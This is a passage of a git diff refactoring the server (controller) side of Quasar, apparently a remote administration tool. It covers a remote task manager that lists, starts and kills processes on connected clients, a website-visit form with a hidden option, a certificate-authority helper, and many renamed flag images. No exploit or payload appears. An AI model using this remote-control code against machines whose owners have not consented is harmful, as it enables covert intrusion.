Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Controls; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmTaskManager : Form + { + /// + /// The client which can be used for the task manager. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly TaskManagerHandler _taskManagerHandler; + + /// + /// Holds the opened task manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new task manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the task manager form. + /// + /// Returns a new task manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmTaskManager CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmTaskManager f = new FrmTaskManager(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the task manager form. + public FrmTaskManager(Client client) + { + _connectClient = client; + _taskManagerHandler = new TaskManagerHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the task manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _taskManagerHandler.ProgressChanged += TasksChanged; + _taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed; + MessageHandler.Register(_taskManagerHandler); + } + + /// + /// Unregisters the task manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_taskManagerHandler); + _taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed; + _taskManagerHandler.ProgressChanged -= TasksChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void TasksChanged(object sender, Process[] processes) + { + lstTasks.Items.Clear(); + + foreach (var process in processes) + { + ListViewItem lvi = + new ListViewItem(new[] {process.Name, process.Id.ToString(), process.MainWindowTitle}); + lstTasks.Items.Add(lvi); + } + + processesToolStripStatusLabel.Text = $"Processes: {processes.Length}"; + } + + private void ProcessActionPerformed(object sender, ProcessAction action, bool result) + { + string text = string.Empty; + switch (action) + { + case ProcessAction.Start: + text = result ? "Process started successfully" : "Failed to start process"; + break; + case ProcessAction.End: + text = result ? "Process ended successfully" : "Failed to end process"; + break; + } + + processesToolStripStatusLabel.Text = text; + } + + private void FrmTaskManager_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("Task Manager", _connectClient); + _taskManagerHandler.RefreshProcesses(); + } + + private void FrmTaskManager_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + } + + private void killProcessToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem lvi in lstTasks.SelectedItems) + { + _taskManagerHandler.EndProcess(int.Parse(lvi.SubItems[1].Text)); + } + } + + private void startProcessToolStripMenuItem_Click(object sender, EventArgs e) + { + string processName = string.Empty; + if (InputBox.Show("Process name", "Enter Process name:", ref processName) == DialogResult.OK) + { + _taskManagerHandler.StartProcess(processName); + } + } + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + _taskManagerHandler.RefreshProcesses(); + } + + private void lstTasks_ColumnClick(object sender, ColumnClickEventArgs e) + { + lstTasks.LvwColumnSorter.NeedNumberCompare = (e.Column == 1); + } + } +} diff --git a/Server/Forms/FrmTaskManager.resx b/Quasar.Server/Forms/FrmTaskManager.resx similarity index 100% rename from Server/Forms/FrmTaskManager.resx rename to Quasar.Server/Forms/FrmTaskManager.resx diff --git a/Server/Forms/FrmVisitWebsite.Designer.cs b/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs similarity index 98% rename from Server/Forms/FrmVisitWebsite.Designer.cs rename to Quasar.Server/Forms/FrmVisitWebsite.Designer.cs index d068741f4..0bdf6854c 100644 --- a/Server/Forms/FrmVisitWebsite.Designer.cs +++ b/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmVisitWebsite { @@ -76,8 +76,8 @@ private void InitializeComponent() // FrmVisitWebsite // this.AcceptButton = this.btnVisitWebsite; - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.ClientSize = new System.Drawing.Size(396, 72); this.Controls.Add(this.chkVisitHidden); this.Controls.Add(this.lblURL); diff --git a/Server/Forms/FrmVisitWebsite.cs b/Quasar.Server/Forms/FrmVisitWebsite.cs similarity index 67% rename from Server/Forms/FrmVisitWebsite.cs rename to Quasar.Server/Forms/FrmVisitWebsite.cs index ee25788dd..f6595a604 100644 --- a/Server/Forms/FrmVisitWebsite.cs +++ b/Quasar.Server/Forms/FrmVisitWebsite.cs @@ -1,13 +1,14 @@ using System; using System.Windows.Forms; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Utilities; +using Quasar.Server.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmVisitWebsite : Form { + public string Url { get; set; } + public bool Hidden { get; set; } + private readonly int _selectedClients; public FrmVisitWebsite(int selected) @@ -19,14 +20,12 @@ public FrmVisitWebsite(int selected) private void FrmVisitWebsite_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("Visit Website", _selectedClients); - txtURL.Text = VisitWebsite.URL; - chkVisitHidden.Checked = VisitWebsite.Hidden; } private void btnVisitWebsite_Click(object sender, EventArgs e) { - VisitWebsite.URL = txtURL.Text; - VisitWebsite.Hidden = chkVisitHidden.Checked; + Url = txtURL.Text; + Hidden = chkVisitHidden.Checked; this.DialogResult = DialogResult.OK; this.Close(); diff --git a/Server/Forms/FrmVisitWebsite.resx b/Quasar.Server/Forms/FrmVisitWebsite.resx similarity index 100% rename from Server/Forms/FrmVisitWebsite.resx rename to Quasar.Server/Forms/FrmVisitWebsite.resx diff --git a/Quasar.Server/Helper/CertificateHelper.cs b/Quasar.Server/Helper/CertificateHelper.cs new file mode 100644 index 000000000..b41d531f6 --- /dev/null +++ b/Quasar.Server/Helper/CertificateHelper.cs @@ -0,0 +1,85 @@ +using Org.BouncyCastle.Asn1.X509; +using Org.BouncyCastle.Crypto; +using Org.BouncyCastle.Crypto.Generators; +using Org.BouncyCastle.Crypto.Operators; +using Org.BouncyCastle.Crypto.Parameters; +using Org.BouncyCastle.Crypto.Prng; +using Org.BouncyCastle.Math; +using Org.BouncyCastle.Security; +using Org.BouncyCastle.X509; +using Org.BouncyCastle.X509.Extension; +using System; +using System.Security.Cryptography.X509Certificates; + +namespace Quasar.Server.Helper +{ + public static class CertificateHelper + { + public static X509Certificate2 CreateCertificate(string certName, X509Certificate2 ca, int keyStrength) + { + var caCert = DotNetUtilities.FromX509Certificate(ca); + var random = new SecureRandom(new CryptoApiRandomGenerator()); + var keyPairGen = new RsaKeyPairGenerator(); + keyPairGen.Init(new KeyGenerationParameters(random, keyStrength)); + AsymmetricCipherKeyPair keyPair = keyPairGen.GenerateKeyPair(); + + var certificateGenerator = new X509V3CertificateGenerator(); + + var CN = new X509Name("CN=" + certName); + var SN = BigInteger.ProbablePrime(120, random); + + certificateGenerator.SetSerialNumber(SN); + certificateGenerator.SetSubjectDN(CN); + certificateGenerator.SetIssuerDN(caCert.IssuerDN); + certificateGenerator.SetNotAfter(DateTime.MaxValue); + certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(1, 0, 0, 0))); + certificateGenerator.SetPublicKey(keyPair.Public); + certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keyPair.Public)); + certificateGenerator.AddExtension(X509Extensions.AuthorityKeyIdentifier, false, new AuthorityKeyIdentifierStructure(caCert.GetPublicKey())); + + var caKeyPair = DotNetUtilities.GetKeyPair(ca.PrivateKey); + + ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", caKeyPair.Private, random); + + var certificate = certificateGenerator.Generate(signatureFactory); + + certificate.Verify(caCert.GetPublicKey()); + + var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate)); + certificate2.PrivateKey = DotNetUtilities.ToRSA(keyPair.Private as RsaPrivateCrtKeyParameters); + + return certificate2; + } + + public static X509Certificate2 CreateCertificateAuthority(string caName, int keyStrength) + { + var random = new SecureRandom(new CryptoApiRandomGenerator()); + var keyPairGen = new RsaKeyPairGenerator(); + keyPairGen.Init(new KeyGenerationParameters(random, keyStrength)); + AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair(); + + var certificateGenerator = new X509V3CertificateGenerator(); + + var CN = new X509Name("CN=" + caName); + var SN = BigInteger.ProbablePrime(120, random); + + certificateGenerator.SetSerialNumber(SN); + certificateGenerator.SetSubjectDN(CN); + certificateGenerator.SetIssuerDN(CN); + certificateGenerator.SetNotAfter(DateTime.MaxValue); + certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(2, 0, 0, 0))); + certificateGenerator.SetPublicKey(keypair.Public); + certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public)); + certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true)); + + ISignatureFactory signatureFactory = new Asn1SignatureFactory("SHA512WITHRSA", keypair.Private, random); + + var certificate = certificateGenerator.Generate(signatureFactory); + + var certificate2 = new X509Certificate2(DotNetUtilities.ToX509Certificate(certificate)); + certificate2.PrivateKey = DotNetUtilities.ToRSA(keypair.Private as RsaPrivateCrtKeyParameters); + + return certificate2; + } + } +} diff --git a/Server/Core/Helper/ClipboardHelper.cs b/Quasar.Server/Helper/ClipboardHelper.cs similarity index 74% rename from Server/Core/Helper/ClipboardHelper.cs rename to Quasar.Server/Helper/ClipboardHelper.cs index c66f84a0b..2a69f0367 100644 --- a/Server/Core/Helper/ClipboardHelper.cs +++ b/Quasar.Server/Helper/ClipboardHelper.cs @@ -1,11 +1,11 @@ using System; using System.Windows.Forms; -namespace xServer.Core.Helper +namespace Quasar.Server.Helper { public static class ClipboardHelper { - public static void SetClipboardText(string text) + public static void SetClipboardTextSafe(string text) { try { diff --git a/Server/Core/Helper/NativeMethodsHelper.cs b/Quasar.Server/Helper/NativeMethodsHelper.cs similarity index 52% rename from Server/Core/Helper/NativeMethodsHelper.cs rename to Quasar.Server/Helper/NativeMethodsHelper.cs index 1c4efba4b..5ea832cfd 100644 --- a/Server/Core/Helper/NativeMethodsHelper.cs +++ b/Quasar.Server/Helper/NativeMethodsHelper.cs @@ -1,7 +1,7 @@ using System; -using xServer.Core.Utilities; +using Quasar.Server.Utilities; -namespace xServer.Core.Helper +namespace Quasar.Server.Helper { public static class NativeMethodsHelper { @@ -9,20 +9,11 @@ public static class NativeMethodsHelper private const int LVM_SETITEMSTATE = LVM_FIRST + 43; private const int WM_VSCROLL = 277; - private const int SB_PAGEBOTTOM = 7; + private static readonly IntPtr SB_PAGEBOTTOM = new IntPtr(7); - public static int MakeLong(int wLow, int wHigh) + public static int MakeWin32Long(short wLow, short wHigh) { - int low = (int)IntLoWord(wLow); - short high = IntLoWord(wHigh); - int product = 0x10000 * (int)high; - int mkLong = (int)(low | product); - return mkLong; - } - - private static short IntLoWord(int word) - { - return (short)(word & short.MaxValue); + return (int)wLow << 16 | (int)(short)wHigh; } public static void SetItemState(IntPtr handle, int itemIndex, int mask, int value) @@ -32,12 +23,13 @@ public static void SetItemState(IntPtr handle, int itemIndex, int mask, int valu stateMask = mask, state = value }; - NativeMethods.SendMessageLVItem(handle, LVM_SETITEMSTATE, itemIndex, ref lvItem); + + NativeMethods.SendMessageListViewItem(handle, LVM_SETITEMSTATE, new IntPtr(itemIndex), ref lvItem); } public static void ScrollToBottom(IntPtr handle) { - NativeMethods.SendMessage(handle, WM_VSCROLL, SB_PAGEBOTTOM, 0); + NativeMethods.SendMessage(handle, WM_VSCROLL, SB_PAGEBOTTOM, IntPtr.Zero); } } } diff --git a/Server/Core/Helper/WindowHelper.cs b/Quasar.Server/Helper/WindowHelper.cs similarity index 75% rename from Server/Core/Helper/WindowHelper.cs rename to Quasar.Server/Helper/WindowHelper.cs index b93871f47..fb8f92573 100644 --- a/Server/Core/Helper/WindowHelper.cs +++ b/Quasar.Server/Helper/WindowHelper.cs @@ -1,12 +1,12 @@ -using xServer.Core.Networking; +using Quasar.Server.Networking; -namespace xServer.Core.Helper +namespace Quasar.Server.Helper { public static class WindowHelper { public static string GetWindowTitle(string title, Client c) { - return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username, c.Value.PCName, c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString()); + return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username, c.Value.PcName, c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString()); } public static string GetWindowTitle(string title, int count) diff --git a/Server/flags/ad.png b/Quasar.Server/Images/Flags/ad.png similarity index 100% rename from Server/flags/ad.png rename to Quasar.Server/Images/Flags/ad.png diff --git a/Server/flags/ae.png b/Quasar.Server/Images/Flags/ae.png similarity index 100% rename from Server/flags/ae.png rename to Quasar.Server/Images/Flags/ae.png diff --git a/Server/flags/af.png b/Quasar.Server/Images/Flags/af.png similarity index 100% rename from Server/flags/af.png rename to Quasar.Server/Images/Flags/af.png diff --git a/Server/flags/ag.png b/Quasar.Server/Images/Flags/ag.png similarity index 100% rename from Server/flags/ag.png rename to Quasar.Server/Images/Flags/ag.png diff --git a/Server/flags/ai.png b/Quasar.Server/Images/Flags/ai.png similarity index 100% rename from Server/flags/ai.png rename to Quasar.Server/Images/Flags/ai.png diff --git a/Server/flags/al.png b/Quasar.Server/Images/Flags/al.png similarity index 100% rename from Server/flags/al.png rename to Quasar.Server/Images/Flags/al.png diff --git a/Server/flags/am.png b/Quasar.Server/Images/Flags/am.png similarity index 100% rename from Server/flags/am.png rename to Quasar.Server/Images/Flags/am.png diff --git a/Server/flags/an.png b/Quasar.Server/Images/Flags/an.png similarity index 100% rename from Server/flags/an.png rename to Quasar.Server/Images/Flags/an.png diff --git a/Server/flags/ao.png b/Quasar.Server/Images/Flags/ao.png similarity index 100% rename from Server/flags/ao.png rename to Quasar.Server/Images/Flags/ao.png diff --git a/Server/flags/ar.png b/Quasar.Server/Images/Flags/ar.png similarity index 100% rename from Server/flags/ar.png rename to Quasar.Server/Images/Flags/ar.png diff --git a/Server/flags/as.png b/Quasar.Server/Images/Flags/as.png similarity index 100% rename from Server/flags/as.png rename to Quasar.Server/Images/Flags/as.png diff --git a/Server/flags/at.png b/Quasar.Server/Images/Flags/at.png similarity index 100% rename from Server/flags/at.png rename to Quasar.Server/Images/Flags/at.png diff --git a/Server/flags/au.png b/Quasar.Server/Images/Flags/au.png similarity index 100% rename from Server/flags/au.png rename to Quasar.Server/Images/Flags/au.png diff --git a/Server/flags/aw.png b/Quasar.Server/Images/Flags/aw.png similarity index 100% rename from Server/flags/aw.png rename to Quasar.Server/Images/Flags/aw.png diff --git a/Server/flags/ax.png b/Quasar.Server/Images/Flags/ax.png similarity index 100% rename from Server/flags/ax.png rename to Quasar.Server/Images/Flags/ax.png diff --git a/Server/flags/az.png b/Quasar.Server/Images/Flags/az.png similarity index 100% rename from Server/flags/az.png rename to Quasar.Server/Images/Flags/az.png diff --git a/Server/flags/ba.png b/Quasar.Server/Images/Flags/ba.png similarity index 100% rename from Server/flags/ba.png rename to Quasar.Server/Images/Flags/ba.png diff --git a/Server/flags/bb.png b/Quasar.Server/Images/Flags/bb.png similarity index 100% rename from Server/flags/bb.png rename to Quasar.Server/Images/Flags/bb.png diff --git a/Server/flags/bd.png b/Quasar.Server/Images/Flags/bd.png similarity index 100% rename from Server/flags/bd.png rename to Quasar.Server/Images/Flags/bd.png diff --git a/Server/flags/be.png b/Quasar.Server/Images/Flags/be.png similarity index 100% rename from Server/flags/be.png rename to Quasar.Server/Images/Flags/be.png diff --git a/Server/flags/bf.png b/Quasar.Server/Images/Flags/bf.png similarity index 100% rename from Server/flags/bf.png rename to Quasar.Server/Images/Flags/bf.png diff --git a/Server/flags/bg.png b/Quasar.Server/Images/Flags/bg.png similarity index 100% rename from Server/flags/bg.png rename to Quasar.Server/Images/Flags/bg.png diff --git a/Server/flags/bh.png b/Quasar.Server/Images/Flags/bh.png similarity index 100% rename from Server/flags/bh.png rename to Quasar.Server/Images/Flags/bh.png diff --git a/Server/flags/bi.png b/Quasar.Server/Images/Flags/bi.png similarity index 100% rename from Server/flags/bi.png rename to Quasar.Server/Images/Flags/bi.png diff --git a/Server/flags/bj.png b/Quasar.Server/Images/Flags/bj.png similarity index 100% rename from Server/flags/bj.png rename to Quasar.Server/Images/Flags/bj.png diff --git a/Server/flags/bm.png b/Quasar.Server/Images/Flags/bm.png similarity index 100% rename from Server/flags/bm.png rename to Quasar.Server/Images/Flags/bm.png diff --git a/Server/flags/bn.png b/Quasar.Server/Images/Flags/bn.png similarity index 100% rename from Server/flags/bn.png rename to Quasar.Server/Images/Flags/bn.png diff --git a/Server/flags/bo.png b/Quasar.Server/Images/Flags/bo.png similarity index 100% rename from Server/flags/bo.png rename to Quasar.Server/Images/Flags/bo.png diff --git a/Server/flags/br.png b/Quasar.Server/Images/Flags/br.png similarity index 100% rename from Server/flags/br.png rename to Quasar.Server/Images/Flags/br.png diff --git a/Server/flags/bs.png b/Quasar.Server/Images/Flags/bs.png similarity index 100% rename from Server/flags/bs.png rename to Quasar.Server/Images/Flags/bs.png diff --git a/Server/flags/bt.png b/Quasar.Server/Images/Flags/bt.png similarity index 100% rename from Server/flags/bt.png rename to Quasar.Server/Images/Flags/bt.png diff --git a/Server/flags/bv.png b/Quasar.Server/Images/Flags/bv.png similarity index 100% rename from Server/flags/bv.png rename to Quasar.Server/Images/Flags/bv.png diff --git a/Server/flags/bw.png b/Quasar.Server/Images/Flags/bw.png similarity index 100% rename from Server/flags/bw.png rename to Quasar.Server/Images/Flags/bw.png diff --git a/Server/flags/by.png b/Quasar.Server/Images/Flags/by.png similarity index 100% rename from Server/flags/by.png rename to Quasar.Server/Images/Flags/by.png diff --git a/Server/flags/bz.png b/Quasar.Server/Images/Flags/bz.png similarity index 100% rename from Server/flags/bz.png rename to Quasar.Server/Images/Flags/bz.png diff --git a/Server/flags/ca.png b/Quasar.Server/Images/Flags/ca.png similarity index 100% rename from Server/flags/ca.png rename to Quasar.Server/Images/Flags/ca.png diff --git a/Server/flags/catalonia.png b/Quasar.Server/Images/Flags/catalonia.png similarity index 100% rename from Server/flags/catalonia.png rename to Quasar.Server/Images/Flags/catalonia.png diff --git a/Server/flags/cc.png b/Quasar.Server/Images/Flags/cc.png similarity index 100% rename from Server/flags/cc.png rename to Quasar.Server/Images/Flags/cc.png diff --git a/Server/flags/cd.png b/Quasar.Server/Images/Flags/cd.png similarity index 100% rename from Server/flags/cd.png rename to Quasar.Server/Images/Flags/cd.png diff --git a/Server/flags/cf.png b/Quasar.Server/Images/Flags/cf.png similarity index 100% rename from Server/flags/cf.png rename to Quasar.Server/Images/Flags/cf.png diff --git a/Server/flags/cg.png b/Quasar.Server/Images/Flags/cg.png similarity index 100% rename from Server/flags/cg.png rename to Quasar.Server/Images/Flags/cg.png diff --git a/Server/flags/ch.png b/Quasar.Server/Images/Flags/ch.png similarity index 100% rename from Server/flags/ch.png rename to Quasar.Server/Images/Flags/ch.png diff --git a/Server/flags/ci.png b/Quasar.Server/Images/Flags/ci.png similarity index 100% rename from Server/flags/ci.png rename to Quasar.Server/Images/Flags/ci.png diff --git a/Server/flags/ck.png b/Quasar.Server/Images/Flags/ck.png similarity index 100% rename from Server/flags/ck.png rename to Quasar.Server/Images/Flags/ck.png diff --git a/Server/flags/cl.png b/Quasar.Server/Images/Flags/cl.png similarity index 100% rename from Server/flags/cl.png rename to Quasar.Server/Images/Flags/cl.png diff --git a/Server/flags/cm.png b/Quasar.Server/Images/Flags/cm.png similarity index 100% rename from Server/flags/cm.png rename to Quasar.Server/Images/Flags/cm.png diff --git a/Server/flags/cn.png b/Quasar.Server/Images/Flags/cn.png similarity index 100% rename from Server/flags/cn.png rename to Quasar.Server/Images/Flags/cn.png diff --git a/Server/flags/co.png b/Quasar.Server/Images/Flags/co.png similarity index 100% rename from Server/flags/co.png rename to Quasar.Server/Images/Flags/co.png diff --git a/Server/flags/cr.png b/Quasar.Server/Images/Flags/cr.png similarity index 100% rename from Server/flags/cr.png rename to Quasar.Server/Images/Flags/cr.png diff --git a/Server/flags/cs.png b/Quasar.Server/Images/Flags/cs.png similarity index 100% rename from Server/flags/cs.png rename to Quasar.Server/Images/Flags/cs.png diff --git a/Server/flags/cu.png b/Quasar.Server/Images/Flags/cu.png similarity index 100% rename from Server/flags/cu.png rename to Quasar.Server/Images/Flags/cu.png diff --git a/Server/flags/cv.png b/Quasar.Server/Images/Flags/cv.png similarity index 100% rename from Server/flags/cv.png rename to Quasar.Server/Images/Flags/cv.png diff --git a/Server/flags/cx.png b/Quasar.Server/Images/Flags/cx.png similarity index 100% rename from Server/flags/cx.png rename to Quasar.Server/Images/Flags/cx.png diff --git a/Server/flags/cy.png b/Quasar.Server/Images/Flags/cy.png similarity index 100% rename from Server/flags/cy.png rename to Quasar.Server/Images/Flags/cy.png diff --git a/Server/flags/cz.png b/Quasar.Server/Images/Flags/cz.png similarity index 100% rename from Server/flags/cz.png rename to Quasar.Server/Images/Flags/cz.png diff --git a/Server/flags/de.png b/Quasar.Server/Images/Flags/de.png similarity index 100% rename from Server/flags/de.png rename to Quasar.Server/Images/Flags/de.png diff --git a/Server/flags/dj.png b/Quasar.Server/Images/Flags/dj.png similarity index 100% rename from Server/flags/dj.png rename to Quasar.Server/Images/Flags/dj.png diff --git a/Server/flags/dk.png b/Quasar.Server/Images/Flags/dk.png similarity index 100% rename from Server/flags/dk.png rename to Quasar.Server/Images/Flags/dk.png diff --git a/Server/flags/dm.png b/Quasar.Server/Images/Flags/dm.png similarity index 100% rename from Server/flags/dm.png rename to Quasar.Server/Images/Flags/dm.png diff --git a/Server/flags/do.png b/Quasar.Server/Images/Flags/do.png similarity index 100% rename from Server/flags/do.png rename to Quasar.Server/Images/Flags/do.png diff --git a/Server/flags/dz.png b/Quasar.Server/Images/Flags/dz.png similarity index 100% rename from Server/flags/dz.png rename to Quasar.Server/Images/Flags/dz.png diff --git a/Server/flags/ec.png b/Quasar.Server/Images/Flags/ec.png similarity index 100% rename from Server/flags/ec.png rename to Quasar.Server/Images/Flags/ec.png diff --git a/Server/flags/ee.png b/Quasar.Server/Images/Flags/ee.png similarity index 100% rename from Server/flags/ee.png rename to Quasar.Server/Images/Flags/ee.png diff --git a/Server/flags/eg.png b/Quasar.Server/Images/Flags/eg.png similarity index 100% rename from Server/flags/eg.png rename to Quasar.Server/Images/Flags/eg.png diff --git a/Server/flags/eh.png b/Quasar.Server/Images/Flags/eh.png similarity index 100% rename from Server/flags/eh.png rename to Quasar.Server/Images/Flags/eh.png diff --git a/Server/flags/england.png b/Quasar.Server/Images/Flags/england.png similarity index 100% rename from Server/flags/england.png rename to Quasar.Server/Images/Flags/england.png diff --git a/Server/flags/er.png b/Quasar.Server/Images/Flags/er.png similarity index 100% rename from Server/flags/er.png rename to Quasar.Server/Images/Flags/er.png diff --git a/Server/flags/es.png b/Quasar.Server/Images/Flags/es.png similarity index 100% rename from Server/flags/es.png rename to Quasar.Server/Images/Flags/es.png diff --git a/Server/flags/et.png b/Quasar.Server/Images/Flags/et.png similarity index 100% rename from Server/flags/et.png rename to Quasar.Server/Images/Flags/et.png diff --git a/Server/flags/europeanunion.png b/Quasar.Server/Images/Flags/europeanunion.png similarity index 100% rename from Server/flags/europeanunion.png rename to Quasar.Server/Images/Flags/europeanunion.png diff --git a/Server/flags/fam.png b/Quasar.Server/Images/Flags/fam.png similarity index 100% rename from Server/flags/fam.png rename to Quasar.Server/Images/Flags/fam.png diff --git a/Server/flags/fi.png b/Quasar.Server/Images/Flags/fi.png similarity index 100% rename from Server/flags/fi.png rename to Quasar.Server/Images/Flags/fi.png diff --git a/Server/flags/fj.png b/Quasar.Server/Images/Flags/fj.png similarity index 100% rename from Server/flags/fj.png rename to Quasar.Server/Images/Flags/fj.png diff --git a/Server/flags/fk.png b/Quasar.Server/Images/Flags/fk.png similarity index 100% rename from Server/flags/fk.png rename to Quasar.Server/Images/Flags/fk.png diff --git a/Server/flags/fm.png b/Quasar.Server/Images/Flags/fm.png similarity index 100% rename from Server/flags/fm.png rename to Quasar.Server/Images/Flags/fm.png diff --git a/Server/flags/fo.png b/Quasar.Server/Images/Flags/fo.png similarity index 100% rename from Server/flags/fo.png rename to Quasar.Server/Images/Flags/fo.png diff --git a/Server/flags/fr.png b/Quasar.Server/Images/Flags/fr.png similarity index 100% rename from Server/flags/fr.png rename to Quasar.Server/Images/Flags/fr.png diff --git a/Server/flags/ga.png b/Quasar.Server/Images/Flags/ga.png similarity index 100% rename from Server/flags/ga.png rename to Quasar.Server/Images/Flags/ga.png diff --git a/Server/flags/gb.png b/Quasar.Server/Images/Flags/gb.png similarity index 100% rename from Server/flags/gb.png rename to Quasar.Server/Images/Flags/gb.png diff --git a/Server/flags/gd.png b/Quasar.Server/Images/Flags/gd.png similarity index 100% rename from Server/flags/gd.png rename to Quasar.Server/Images/Flags/gd.png diff --git a/Server/flags/ge.png b/Quasar.Server/Images/Flags/ge.png similarity index 100% rename from Server/flags/ge.png rename to Quasar.Server/Images/Flags/ge.png diff --git a/Server/flags/gf.png b/Quasar.Server/Images/Flags/gf.png similarity index 100% rename from Server/flags/gf.png rename to Quasar.Server/Images/Flags/gf.png diff --git a/Server/flags/gh.png b/Quasar.Server/Images/Flags/gh.png similarity index 100% rename from Server/flags/gh.png rename to Quasar.Server/Images/Flags/gh.png diff --git a/Server/flags/gi.png b/Quasar.Server/Images/Flags/gi.png similarity index 100% rename from Server/flags/gi.png rename to Quasar.Server/Images/Flags/gi.png diff --git a/Server/flags/gl.png b/Quasar.Server/Images/Flags/gl.png similarity index 100% rename from Server/flags/gl.png rename to Quasar.Server/Images/Flags/gl.png diff --git a/Server/flags/gm.png b/Quasar.Server/Images/Flags/gm.png similarity index 100% rename from Server/flags/gm.png rename to Quasar.Server/Images/Flags/gm.png diff --git a/Server/flags/gn.png b/Quasar.Server/Images/Flags/gn.png similarity index 100% rename from Server/flags/gn.png rename to Quasar.Server/Images/Flags/gn.png diff --git a/Server/flags/gp.png b/Quasar.Server/Images/Flags/gp.png similarity index 100% rename from Server/flags/gp.png rename to Quasar.Server/Images/Flags/gp.png diff --git a/Server/flags/gq.png b/Quasar.Server/Images/Flags/gq.png similarity index 100% rename from Server/flags/gq.png rename to Quasar.Server/Images/Flags/gq.png diff --git a/Server/flags/gr.png b/Quasar.Server/Images/Flags/gr.png similarity index 100% rename from Server/flags/gr.png rename to Quasar.Server/Images/Flags/gr.png diff --git a/Server/flags/gs.png b/Quasar.Server/Images/Flags/gs.png similarity index 100% rename from Server/flags/gs.png rename to Quasar.Server/Images/Flags/gs.png diff --git a/Server/flags/gt.png b/Quasar.Server/Images/Flags/gt.png similarity index 100% rename from Server/flags/gt.png rename to Quasar.Server/Images/Flags/gt.png diff --git a/Server/flags/gu.png b/Quasar.Server/Images/Flags/gu.png similarity index 100% rename from Server/flags/gu.png rename to Quasar.Server/Images/Flags/gu.png diff --git a/Server/flags/gw.png b/Quasar.Server/Images/Flags/gw.png similarity index 100% rename from Server/flags/gw.png rename to Quasar.Server/Images/Flags/gw.png diff --git a/Server/flags/gy.png b/Quasar.Server/Images/Flags/gy.png similarity index 100% rename from Server/flags/gy.png rename to Quasar.Server/Images/Flags/gy.png diff --git a/Server/flags/hk.png b/Quasar.Server/Images/Flags/hk.png similarity index 100% rename from Server/flags/hk.png rename to Quasar.Server/Images/Flags/hk.png diff --git a/Server/flags/hm.png b/Quasar.Server/Images/Flags/hm.png similarity index 100% rename from Server/flags/hm.png rename to Quasar.Server/Images/Flags/hm.png diff --git a/Server/flags/hn.png b/Quasar.Server/Images/Flags/hn.png similarity index 100% rename from Server/flags/hn.png rename to Quasar.Server/Images/Flags/hn.png diff --git a/Server/flags/hr.png b/Quasar.Server/Images/Flags/hr.png similarity index 100% rename from Server/flags/hr.png rename to Quasar.Server/Images/Flags/hr.png diff --git a/Server/flags/ht.png b/Quasar.Server/Images/Flags/ht.png similarity index 100% rename from Server/flags/ht.png rename to Quasar.Server/Images/Flags/ht.png diff --git a/Server/flags/hu.png b/Quasar.Server/Images/Flags/hu.png similarity index 100% rename from Server/flags/hu.png rename to Quasar.Server/Images/Flags/hu.png diff --git a/Server/flags/id.png b/Quasar.Server/Images/Flags/id.png similarity index 100% rename from Server/flags/id.png rename to Quasar.Server/Images/Flags/id.png diff --git a/Server/flags/ie.png b/Quasar.Server/Images/Flags/ie.png similarity index 100% rename from Server/flags/ie.png rename to Quasar.Server/Images/Flags/ie.png diff --git a/Server/flags/il.png b/Quasar.Server/Images/Flags/il.png similarity index 100% rename from Server/flags/il.png rename to Quasar.Server/Images/Flags/il.png diff --git a/Server/flags/in.png b/Quasar.Server/Images/Flags/in.png similarity index 100% rename from Server/flags/in.png rename to Quasar.Server/Images/Flags/in.png diff --git a/Server/flags/io.png b/Quasar.Server/Images/Flags/io.png similarity index 100% rename from 